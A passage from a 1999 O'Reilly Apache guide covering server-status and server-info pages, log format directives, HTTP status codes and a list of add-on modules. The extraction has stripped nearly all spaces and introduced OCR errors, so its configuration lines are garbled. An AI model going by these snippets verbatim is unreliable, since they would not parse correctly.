ThisallowsthecontentofstringtobeshownasHTMLinterpretedadditionalinformationforthemodulemodulename.Example:
AddModuleInfomod_auth.c'See<AHREF="http://www.apache.org/docs/mod/
modauth.html">http://www.apache.org/docs/mod/mod_auth.html</A>
Status
Apachecanbepersuadedtocoughupcomprehensivediagnosticinformationbyincludingandinvokingthemodulemod_status:
AddModulemodules/standard/mod_status.o
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page187
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Thisproducesinvaluableinformationforthewebmasterofabusysite,enablinghimorhertotrackdownproblemsbeforetheybecomedisasters.However,sincethis
isreallyourownbusiness,wedon'twanttheunwashedmoboutontheWebjostlingtoseeoursecrets.Toprotecttheinformation,wethereforerestrictittoawhole
orpartialIPaddressthatdescribesourownnetworkandnooneelse's.
ServerStatus
Forthisexercise,thebttpd.confin.../site.statusfileshouldlooklikethis:
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
DocumentRoot/usr/www/site.status/htdocs
<Location/status>
orderdeny,allow
allowfrom192.168.123.1
denyfromall
SetHandlerserverstatus
</Location>
<Location/info>
orderdeny,allow
allowfrom192.168.123.1
denyfromall
SetHandlerserverstatus
SetHandlerserverinfo
</Location>
Theallowfromdirectivekeepsourlaundryprivate.
Rememberthewayorderworks:thelastentryhasthelastword.NoticealsotheuseofSetHandler,whichsetsahandlerforallrequeststoadirectory,instead
ofAddHandler,whichspecifiesahandlerforparticularfileextensions.Ifyouthenaccesswww.buttertblies.com/status,yougetthisresponse:
ApacheServerStatusforwww.butterthlies.com
ServerVersion:Apache/1.3.1(Unix)
ServerBuilt:Sep15199815:09:34
CurrentTime:Tuesday,13oct199808:16:08
RestartTime:Tuesday,13oct199808:15:13
Serveruptime:55seconds
Totalaccesses:1TotalTraffic:oOB
CPUUsage:u0s0cu0cs0
.0182requests/sec0B/second0B/request
1requestscurrentlybeingprocessed,5idleservers
_W___........................................................
.............................................................
.............................................................
.............................................................
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page188
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ScoreboardKey:
"_"WaitingforConnection,"S"Startingup,"R"ReadingRequest,
"W"SendingReply,"K"Keepalive(read),"D"DNSLookup,
"L"Logging,"G"Gracefullyfinishing,"."Openslotwithnocurrentprocess
SrvPIDAceMCPUSSReqConnChildSlotHostVhostRequest
01570/1/10.0010540.00.0000.000192.168.123.1www.butterthlies.comGET/mycgi.cgiHTTP/I.0
11580/0/0W0.005400.00.000.00192.168.123.1www.butterthlies.comGET/statusHTTP/I.0
SrvServernumber
PIDOSprocessID
AccNumberofaccessesthisconnection/thischild/thisslot
MModeofoperation
CPUCPUusage,numberofseconds
SSSecondssincebeginningofmostrecentrequest
ReqMillisecondsrequiredtoprocessmostrecentrequest
ConnKilobytestransferredthisconnection
ChildMegabytestransferredthischild
SlotTotalmegabytestransferredthisslot
Thereareseveralusefulvariantsonthebasicstatusrequest:
status?notable
Returnsthestatuswithoutusingtables,forbrowserswithnotablesupport
status?refresh
Updatesthepageonceasecond
status?refresh=6
Updatesthepageeverysixseconds
status?auto
Returnsthestatusinaformatsuitableforprocessingbyaprogram
Thesecanalsobecombinedbyputtingacommabetweenthem,forexample:
http://www.butterthlies.com/status?notable,refresh=10.
ServerInfo
Similarly,wecanexaminetheactualconfigurationoftheserverbyinvokinginfo.Thisisusefultoseehowaremoteserverisconfiguredortoexaminepossible
discrepanciesbetweenyourideaofwhattheConfigfilesshoulddoandwhattheyactuallyhavedone.Ifyouaccesshttp://www.butterthlies.com/info,yougeta
largeamountofoutputanexampleisshowninAppendixE,SampleApacheLog.Itisworthskimmingthroughittoseewhatkindofinformationis
available.
LoggingtheAction
Apacheoffersawiderangeofoptionsforcontrollingtheformatofthelogfiles.Inlinewithcurrentthinking,oldermethods(RefererLog,AgentLog,and
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page189
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
CookieLog)havenowbeenreplacedbytheconfig_log_module.Toillustratethis,wehavetaken.../site.authentandcopieditto.../site.loggingso
thatwecanplaywiththelogs:
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
IdentityCheckon
NameVirtualHost192.168.123.2
<VirtualHost"target="_BLANK">www.butterthlies.com>
LogFormat"customers:host%h,logname%1,user%u,time%t,
request%r,
status%s,bytes%b"
CookieLoglogs/cookies
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.logging/htdocs/customers
ServerNamewww.butterthlies.com
ErrorLog/usr/www/site.logging/logs/custamers/error_log
TransferLog/usr/www/site.logging/logs/customers/access_log
ScriptAlias/cgi_bin/usr/www/cgi_bin
</VirtualHost>
<VirtualHostsales.butterthlies.com>
LogFormat"sales:agent%{httpd_user_agent}i,cookie:
%{http_Cookie}i,
referer:%{Referer}o,host%!200h,logname%!2001,user%u,time%t,
request%r,status%s,bytes%b"
CookieLoglogs/cookies
ServerAdminsales_mgr&butterthlies.com
DocumentRoot/usr/www/site.logging/htdocs/salesmen
ServerNamesales.butterthlies.com
ErrorLog/usr/www/site.logging/logs/salesmen/error_log
TransferLog/usr/www/site.logging/logs/salesmen/access_log
ScriptAlias/cgi_bin/usr/www/cgi_bin
<Directory/usr/www/site.logging/htdocs/salesmen>
AuthTypeBasic
AuthNamedarkness
AuthUserFile/usr/www/ok_users/sales
AuthGroupFile/usr/www/ok_users/groups
requirevaliduser
</Directory>
<Directory/usr/www/cgi_bin>
AuthTypeBasic
AuthNamedarkness
AuthUserFile/usr/www/ok_users/sales
AuthGroupFile/usr/www/ok_users/groups
#AuthDBMUserFile/usr/www/ok_dbm/sales
#AuthDBMGroupFile/usr/www/ok_dbm/groups
requirevaliduser
</Directory>
</VirtualHost>
Thereareanumberofdirectives.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page190
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ErrorLog
ErrorLogComponent|syslog[:facility]
Default:ErrorLoglogs/error_log
Serverconfig,virtualhost
TheErrorLogdirectivesetsthenameofthefiletowhichtheserverwillloganyerrorsitencounters.IftheComponentdoesnotbeginwithaslash("/"),itisassumedto
berelativetotheserverroot.
IftheComponentbeginswithapipe("|"),itisassumedtobeacommandtospawnafileto
handletheerrorlog.
Apache1.3andabove:UsingsysloginsteadofaComponentenablesloggingviasyslogd(8)if
thesystemsupportsit.Thedefaultistousesyslogfacilitylocal7,butyoucanoverridethisby
usingthesyslog:facilitysyntax,wherefacilitycanbeoneofthenamesusually
documentedinsyslog(1).
TransferLog
TransferLog[file|'|'command]
Default:none
Serverconfig,virtualhost
TransferLogspecifiesthefileinwhichtostorethelogofaccessestothesite.IfitisnotexplicitlyincludedintheConfigfile,nologwillbegenerated.
file
AComponentrelativetotheserverroot(ifitdoesn'tstartwithaslash),oranabsolutepath(ifitdoes).
command
Aprogramtoreceivetheagentloginformationonitsstandardinput.NotethatanewprogramisnotstartedforavirtualhostifitinheritstheTransferLogfrom
themainserver.Ifaprogramisused,itrunsusingthepermissionsoftheuserwhostartedhttpd.Thisisrootiftheserverwasstartedbyroot,sobesuretheprogram
issecure.AusefulUnixprogramtosendtoisrotatelogs,*whichcanbefoundintheApachesupportsubdirectory.Itclosesthelogperiodicallyandstartsanew
one,andisusefulforlongtermarchivingandlogprocessing.Traditionally,thisisdonebyshuttingApachedown,movingthelogselsewhere,andthenrestarting
Apache,whichisobviouslynofunfortheclientsconnectedatthetime!
*Writtenbyoneoftheauthorsofthisbook(BL).
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page191
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
LogFormat
LogFormatformat_string[nickname]
Default:"%h%1%u%t\"%r\"%s%b"
Serverconfig,virtualhost
LogFormatsetstheinformationtobeincludedinthelogfileandthewayinwhichitiswritten.ThedefaultformatistheCommonLogFormat(CLF),whichis
expectedbyofftheshelfloganalyzerssuchaswusage(http://www.boutell.com/)orANALOG,soifyouwanttouseoneofthem,leavethisdirectivealone.*
TheCLFformatis:
hostidentauthuserdaterequeststatusbytes
host
DomainnameoftheclientoritsIPnumber.
ident
IfIdentityCheckisenabledandtheclientmachinerunsidentd,thenthisistheidentityinformationreportedbytheclient.
authuser
Iftherequestwasforapasswordprotecteddocument,thenthisistheuserID.
date
Thedateandtimeoftherequest,inthefollowingformat:[day/month/year:hour:minute:secondtzoffset].
request
Requestlinefromclient,indoublequotes.
status
Threedigitstatuscodereturnedtotheclient.
bytes
Thenumberofbytesreturned,excludingheaders.
Thelogformatcanbecustomizedusingaformat_string.Thecommandsinithavetheformat%[condition]key_letterthecondition
neednotbepresent.Ifitis,andthespecifiedconditionisnotmet,theoutputwillbea"".Thekey_lettersareasfollows:bBytessent.
{env_name}e
Thevalueoftheenvironmentvariable
TheComponentbeingserved.
*Actually,someloganalyzerssupportsomeextrainformation
inthelogfile,butyouneedtoreadtheanalyzer's
documentationfordetails.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page192
aRemoteIPaddress
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
hRemotehost.
{header_name}i
Contentsofheader_name:headerline(s)intherequestsentfromtheclient.
1Remotelogname(fromidentd,ifsupplied).
{note_name}n
Thevalueofanote.AnoteisanamedentryinatableusedinternallyinApacheforpassinginformationbetweenmodules.
{header_name}o
Thecontentsoftheheader_nameheaderline(s)inthereply.
PThePIDofthechildApachehandlingtherequest.
pTheserverport.
rFirstlineofrequest.
sStatus:forrequeststhatwereinternallyredirected,thisisthestatusoftheoriginalrequest.
>sStatusofthelastrequest.
tTime,incommonlogtimeformat.
UTheURLrequested.
uRemoteuser(fromauththismaybebogusifreturnstatus[%s]is401).
vTheservervirtualhost.
Theformatstringcanhaveordinarytextofyourchoiceinit
inadditiontothe%directives.
CustomLog
LogFormatfile|pipeformat|nickname
Serverconfig,virtualhost
ThefirstargumentistheComponenttowhichlogrecordsshouldbewritten.ThisisusedexactlyliketheargumenttoTransferLogthatis,itiseitherafullpath,
relativetothecurrentserverroot,orapipetoaprogram.
Theformatargumentspecifiesaformatforeachlineofthelogfile.TheoptionsavailablefortheformatareexactlythesameasfortheargumentoftheLogFormat
directive.Iftheformatincludesanyspaces(whichitwilldoinalmostallcases),itshouldbeenclosedindoublequotes.
Insteadofanactualformatstring,youcanuseaformatnicknamedefinedwiththeLogFormatdirective.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page193
site.authentAnotherExample
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
site.authentissetupwithtwovirtualhosts,one
forcustomersandoneforsalespeople,andeachhasitsownlogsin.../logs/customersand.../logs/salesmen.Wecanfollowthatschemeand
applyoneLogFormattoboth,oreachcanhaveitsownlogswithitsownLogFormatsinsidethe<VirtualHost>directives.Theycanalsohave
commonlogfiles,setupbymovingErrorLogandTransferLogoutsidethe<VirtualHost>sections,withdifferentLogFormatswithinthesections
todistinguishtheentries.Inthislastcase,theLogFormatfilescouldlooklikethis:
<VirtualHost"target="_BLANK">www.butterthlies.com>
LogFormat''Customer:.."
...
</VirtualHost>
<VirtualHostsales.butterthlies.com>
LogFormat"Sales:..."
...
</VirtualHost>
Let'sexperimentwithaformatforcustomers,leaving
everythingelsethesame:
<VirtualHost"target="_BLANK">www.butterthlies.com>
LogFormat"customers:host%h,logname%1,user%u,time%t,1
request%r
status%s,bytes%b"
...
Wehaveinsertedthewordshost,logname,andsoon,tomakeitclearinthefilewhatisdoingwhat.Inreallifeyouprobablywouldn'twanttoclutterthefileupin
thiswaybecauseyouwouldlookatitregularlyandrememberwhatwaswhat,or,morelikely,processthelogswithaprogramthatwouldknowtheformat.Logging
ontowww.butterthlies.comandgoingtosummercatalogproducesthislogfile:
customers:host192.168.123.1,lognameunknown,user,time
[07/Nov/
1996:14:28:46+0000],requestGET/HTTP/1.0,status200,
bytes
customers:host192.168.123.1,lognameunknown,user,time
[07/Nov/
1996:14:28:49+0000],requestGET/hen.jpgHTTP/1.0,status200,
bytes12291,
customers:host192.168.123.1,lognameunknown,user,time[07/Nov
/1996:14:29:04+0000],requestGET/tree.jpgHTTP/1.0,status200,
bytes11532,
customers:host192.168.123.1,lognameunknown,user,time[07/Nov/
1996:14:29:19+0000],requestGET/bath.jpgHTTP/1.0,status200,
bytes5880,
Thisisnottoodifficulttofollow.Noticethatwhilewehavelognameunknown,theuseris"",theusualreportforanunknownvalue.Thisisbecause
customersdonothavetogiveanIDthesamelogforsalespeople,whodo,wouldhaveavaluehere.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page194
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Wecanimprovethingsbyinsertinglistsofconditionsbasedontheerrorcodesafterthe%andbeforethecommandletter.Theerrorcodesaredefinedinthe
HTTP/I.0specification:
200OK
302Found
304NotModified
400BadRequest
401Unauthorized
403Forbidden
404Notfound
500Servererror
503Outofresources
501NotImplemented
502BadGateway
ThelistfromHTTP/I.Iisasfollows:
100Continue
101SwitchingProtocols
200OK
201Created
202Accepted
203NonAuthoritativeInformation
204NoContent
205ResetContent
206PartialContent
300MultipleChoices
301MovedPermanently
302MovedTemporarily
303SeeOther
304NotModified
305UseProxy
400BadRequest
401Unauthorized
402PaymentRequired
403Forbidden
404NotFound
405MethodNotAllowed
406NotAcceptable
407ProxyAuthenticationRequired
408RequestTimeout
409Conflict
410Gone
411LengthRequired
412PreconditionFailed
413RequestEntityTooLarge
414RequestURITooLarge
415UnsupportedMediaType
500InternalServerError
501NotImplemented
502BadGateway
503ServiceUnavailable
504GatewayTimeout
505HTTPVersionnotsupported
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page195
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Youcanuse"!"beforeacodetomean"ifnot."!200means"logthisiftheresponsewasnotOK."Let'sputthisinsalesmen:
<VirtualHostsales.butterthlies.com>
LogFormat"sales:host%!200h,logname%!2001,user%u,time%t,request%r,
status%s,bytes%b,"
...
Anattempttologinasfredwiththepassworddon'tknowproducesthefollowingentry:
sales:host192.168.123.1,lognameunknown,userfred,time[19/Aug/
1996:07:58:04+0000],requestGETHTTP/1.0,status401,bytes
However,ifithadbeentheinfamousBillwiththepasswordtheft,wewouldsee:
host,logname,userbill,...
becauseweaskedforhostandlognametobeloggedonlyiftherequestwasnotOK.Wecancombinemorethanonecondition,sothatifweonlywantto
knowaboutsecurityproblemsonsales,wecouldlogusernamesonlyiftheyfailedtoauthenticate:
LogFormat"sales:baduser:%400,401,403u"
WecanalsoextractdatafromtheHTTPheadersinbothdirections:
%[condition]{useragent}i
printstheuseragent(i.e.,thesoftwaretheclientisrunning)ifconditionismet.TheoldwayofdoingthiswasAgentLoglogfileand
ReferLoglogfile.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page196
12
ExtraModules
InadditiontothestandardmodulesmentionedinChapter1,GettingStarted,whichwesuggestyoucompileintoyourcopyofApache,thereareanumberofmore
volatilemodulesavailable.Wedonotproposetodocumenttheminthiseditionofthebook,butthelistmightbeinteresting.Bewarned:modulesdesignedforearlier
versionsofApachemayneedupdatingbeforetheyworkcorrectlywithVersion1.3.Modulescanbefoundinseveralplaces:
TheApache../src/modulesdirectory.Thiscontainsthestandardmodulesplus(inthe1.3release)subdirectoriesexperimentalandextra.Thecuriousmayfinda
searchrewarding.Atthetimeofwritingtherewasonlymod_mmap_static,whichallowsfasterservingofslowlychangingfiles.
TheApacheFTPdirectoryatftp://ftp.apache.org/apache/dist/contrib/modules/.Atthetimeofwritingthelistwasasfollows:
mod_allowdev
Disallowrequestsforfilesonparticulardevices.
mod_auth_cookie
Authenticateviacookiesonthefly.
mod_auth_cookie_file
Authenticateviacookieswith.htpasswdlikefile.
mod_auth_external
Authenticateviaexternalprogram.
mod_auth_inst
Authenticateviainstantpasswordsfordummyusers.
mod_auth_system
Authenticateviasystempasswdfile.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page197
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
mod_bandwidth
Bandwidthmanagementonaperconnectionbasis.
mod_cache
Automaticcachingofdocumentsviammap().
mod_cntr
AutomaticURLaccesscounterviaDBMfile.
mod_disallow_id
DisallowrequestsforfilesownedbyparticularuserIDs.
mod_lock
Conditionallockingmechanismfordocumenttrees.
mod_peephole
Peepholingfilesysteminformationaboutdocuments.
mod_put
HandlerforHTTP/1.1PUTandDELETEmethod.
mod_qs2ssi
ParsequerystringtoCGI/SSIvariables.
mod_session
Sessionmanagementandtrackingviaidentifiers.
Themoduleregistryathttp://modules.apache.org/:
Authentification(NISbased)
NIS/passwordbasedauthentication,usingnormaluserIDs.
Bandwidthmanagement
Limitbandwidthbasedonnumberofconnections.
CGISUGId
SetUser/GroupIDforCGIexecution(likeCERN).
Chatbox
AChatboxmoduleforApache.
ChrootSecurityPatch
Patchforrunninghttpdchrooted.
ColdFlame
AlphaversionofamoduletoparseColdFusioncode,usingmysql.
CookieAuthentication
Fakebasicauthenticationusingcookies.
Cookieauthentication(MySQLbased)
ComparecookieagainstcontentsofMySQLDB.
CookieAuthentification(filebased)
Cookiebasedauthentication,with.htpasswdlikefile.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page198
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
CookieAuthentification(mSQLbased)
Cookiebasedauthentication,withmSQLdatabase.
CorrosionResearchGroup
Researcheducation.
DCEAuthentication
DCEauthentication/secureDFSaccess.
dir_log_module
Implementsperdirectorylogging.
dir_patch(unofficialApache1.1.1patch)
AllowsonetosuppressHTMLpreamblefordirectories.
DisallowID
Disallowservingwebpagesbasedonuid/gid.
ExternalAuthenticationModule.
Authenticatesusinguserprovidedfunction/script.
FastCGI
KeepsCGIprocessesalivetoavoidperhitforks.
FTPConversions
ViewingFTParchiveusingWWW,conversions.
heitmlExtendedInteractiveHTML
ProgrammabledatabaseextensionofHTML.
Indexer
Configurabledirectorylistingmodule.
inst_auth_module
Moduleforinstantpasswordauthentication.
JavaWrapperModule
EnablesexecutionofJavaappsasCGIdirectly.
KerberosAuthentication
Kerberosauthformutualtktorprincipal/passwd.
LDAPAuthenticationModule
AuthenticatesusersfromanLDAPdirectory.
mod_throttle
Throttletheusageofindividualusers.
mod_allowdev
Restrictaccesstofilespacemoreefficiently.
mod_auth_abi
AuthenticateviaPerlDBI,Oracle,Informix,more.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page199
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
mod_auth_ldap
ApacheLDAPauthenticationmodule.
mod_auth_mysql
mySQLauthenticationmoduleforApache.
mod_auth_pgsql
AuthenticationmoduleforApache1.3 PostgreSQL.
mod_auth_radius.c
AuthenticateviaexternalRADIUSserver.
mod_auth_rdbm
Networkeddbmordbauthenticationpermitsauthdbsharingbetweenservers.
mod_auth_samba
Sambabasedauthenticationforpasswords.
mod_auth_smb
AuthorizationmodulethatusesSMB(LanMan).
mod_auth_sys
BasicauthenticationusingSystemAccounts.
mod_auth_yard
AuthenticationmoduleviaYARDdatabase.
mod_beza
Moduleandpatchconvertingnationalcharacters.
mod_blob_pg95
URItoPostgres95LargeObjectmapping.
mod_dlopen
LoadmodulesdynamicallyfromELFobjectfiles.
mod_ecgi
Embedded(nonforking)CGI.
mod_fjord.c
Javabackendprocessor.
mod_fontxlate
Configurablenationalcharactersettranslator.
mod_javascript
Javascriptmodule(ECMA262).
mod_jserv
Javaservletinterface.
mod_ldap.c
LDAPauthenticationandaccessrules.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page200
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
mod_lock.c
Selectivelockoftreesandvirtualhosts.
mod_mmap_static
mmapastaticlistoffilesforspeed.
mod_neoinclude.c
NeoWebScriptTclscriptingextension.
mod_pagescript.cc
SSIextensions.
mod_perl
EmbedPerlinterpreterstoavoidCGIoverheadandprovideaPerlinterfacetotheserverAPI.
mod_put
HandlerforHTTP/1.1PUTandDELETEmethods.
mod_session
Advancedsessionmanagementandtracking.
mod_ssl
FreeApacheinterfacetoSSLeay.
mod_weborb(WebORBproject)
DirectlyinvokeCORBAobjectstohandleCGIrequests.
PAMAuth
AuthenticationagainstPluggableAuthModules.
PatchfornativeSunOS4.1.xcompilation
FixestoallowcompilationonSunOS4withoutGCC.
PHP/FI
ServerparsedscriptinglanguagewithRDBMSsupport.
Postgres95Authentication
UserauthenticationwiththePostgres95database.
PostgreSQLAuthentication
UserauthenticationwithPostgreSQL(andcookie).
PyApache
EmbeddedPythonlanguageinterpreter.
QueryStringtoServerSideIncludevariables
ParsethequerystringtoXSSIvariables.
RADIUSAuthenticationmodule
RADIUSauthenticationmodule.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page201
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
RavenSSLModule
SSLsecuritymodulefortheApachewebserver.
Rewriting/MappingoflocalURIs
MappingonURIlevelincludesthe"/"and"/."
RussianApache(mod_charset)
SmartRussiancodepagetranslations.
RussianCharsetHandlingModule
Russiandocumentsupportinvariouscharsets.
SSIforISO2022JP
SSIhandlingISO2022JPencodingdocument.
SystemAuthentication
Usebothsystemfilesand.htaccessforauthentication.
User/domainaccesscontrol
Allowordenyaccesstouser/domainpair.
UserPathModule
ProvideadifferentmethodofmappinguserURLs.
var_patc(unofficialApache1.1.1patch)
Addcharsetnegotiation/guessingto.varfiles.
WebCounter
Dynamicallycountwebpageaccess.
zmod_module
TheLogfileModulforVDZonlineaccounting.
Othersitesuseasearchenginetolookfor"Apachemodule".
Authentication
Thereisawholerangeofoptionsfordifferentauthenticationschemes.Theusernamesandpasswordscanbestoredinflatfiles(withthestandardmod_auth)orin
DBMorBerkeleyDBfiles(withmod_auth_dbmormod_auth_db,respectively).
Formorecomplexapplications,usernamesandpasswordscanbestoredinmSQL,Postgres95,orDBIcompatibledatabases,using
mod_auth_msql,mod_auth_pg95,orhttp://www.osf.org/dougm/apache/.
Ifpasswordscan'tbestoredinafileordatabase(perhapsbecausetheyareobtainedatruntimefromanothernetworkservice),the
ftp://ftp.apache.org/apache/dist/contrib/modules/mod_auth_external.cmoduleletsyoucallanexternalprogramtocheckifthegivenusernameandpassword
arevalid.Ifyoursite
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page202
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
usesKerberos,http://www2.ncsu.edu/ncsu/cc/rddc/projects/mod_auth_kerb/allowsKerberosbasedauthentication.
Themod_auth_anonmoduleallowsananonymousFTPstyleaccesstoauthenticatedareas,inwhichausergivesananonymoususernameandarealemail
addressasthepassword.Therearealsomodulestoholdauthenticationinformationincookiesandtoauthenticateagainststandard/etc/passwdandNISpassword
services.Seethemoduleregistryathttp://modules.apache.org/.
BlockingAccess
Theftp://ftp.apache.org/apache/dist/contrib/modules/mod_block.cmoduleblocksaccesstopagesbasedontherefererfield.Thishelpsprevent(forexample)
yourimagesbeingusedonotherpeople'spages.
Formorecomplexcases,http://www.engelschall.com/rse/implementsblockingbasedonarbitraryheaders(e.g.,refereranduseragent),aswellasontheURL
itself.
Counters
Thereareanumberofcountermodulesavailable,includingftp://ftp.apache.org/apache/dist/contrib/modules/mod_counter.cand
ftp://ftp.galaxy,net/pub/bk/webcounter.tar.gz.Someserversidescriptinglanguagessuchashttp://www.vex.net/php/alsoprovideaccesscounters.
FasterCGIPrograms
PerlCGIscanbespedupconsiderablybyusingthehttp://www.osf.org/dougm/apache/modules,whichbuildaPerlinterpreterintotheApacheexecutableand,
optionally,allowscriptstostartupwhentheserverstarts.
Alternatively,thehttp://www.fastcgi.com/moduleimplementsFastCGIonApache,givingmuchbetterperformancefromaCGIlikeprotocol.
FrontpagefromMicrosoft
TheMicrosoftFrontpageextensionsareavailablefromMicrosoft.TheseaddextensionstosupportMicrosoft'sFrontpageauthoringproduct.However,theApache
Groupfeelsthattheyintroduceserioussecurityproblems,whichiswhytheyarenotmentionedontheApachesite.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page203
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
LanguagesandInternationalization
Thehttp://wist.ifmo.ru/sereda/apache/moduleprovidessupportforRussiancharactersets.Thehttp://www.rccirc.si/eng/fontxlate/moduletranslatescharacters
insinglebytecharactersets,forcountrieswithmultiplenonstandardcharactersets.
ServerSideScripting
Thereareseveraldifferentmodulesthatallowsimple(ornotsosimple)scriptstobeembeddedintoHTMLpages.
ftp://pageplus.com/pub/hsf/xssi1.1.htmlisanextendedversionofstandardSSIcommands,whilehttp://www.vex.net/php/and
http://www.neosoft.com/neoscript/aremorepowerfulscriptinglanguages.
ThrottlingConnections
Theftp://ftp.apache.org/apache/dist/contrib/modules/mod_simultaneous.cmodulelimitsthenumberofsimultaneous
accessestoparticulardirectories,whichcouldbeawayofimplementinglimitsforimagedirectories.
URLRewriting
AmuchsimplerURLrewriterthanmod_rewriteisavailableat
ftp://ftp.apache.org/apache/dist/contrib/modules/mod_remap.c.
Thehttp://www.cs.utab.edu/ldl/apachemodules/disallow_id/modulepreventsaccesstofilesownedbyspecifiedusersorincertaingroups.Thiscan,forexample,
preventallaccesstorootownedfiles.
Themodulehttp://www.cs.utab.edu/ldl/apachemodules/log_peruser/logsrequestsforaparticularuser'spagestoalogfileintheuser'sdirectory.
Boththesemodulesarelistedashttp://www.cs.utah.edu/ldl/apachemodules/,alongwithanenhancedmod_cgibasedonthesuCGIpackage.
Miscellaneous
Theftp://ftp.apache.org/apache/dist/contrib/modules/mod_speling.cmoduletriestofixmiscapitalizedURLsbycomparing
themwithfilesanddirectoriesinacaseinsensitivemanner.
AmodulethatmakesyourFTParchiveintowebpagesisavailableathttp://sunsite.mff.cuni.cz/web/local/mod_conv.0.2.1.tar.gz.
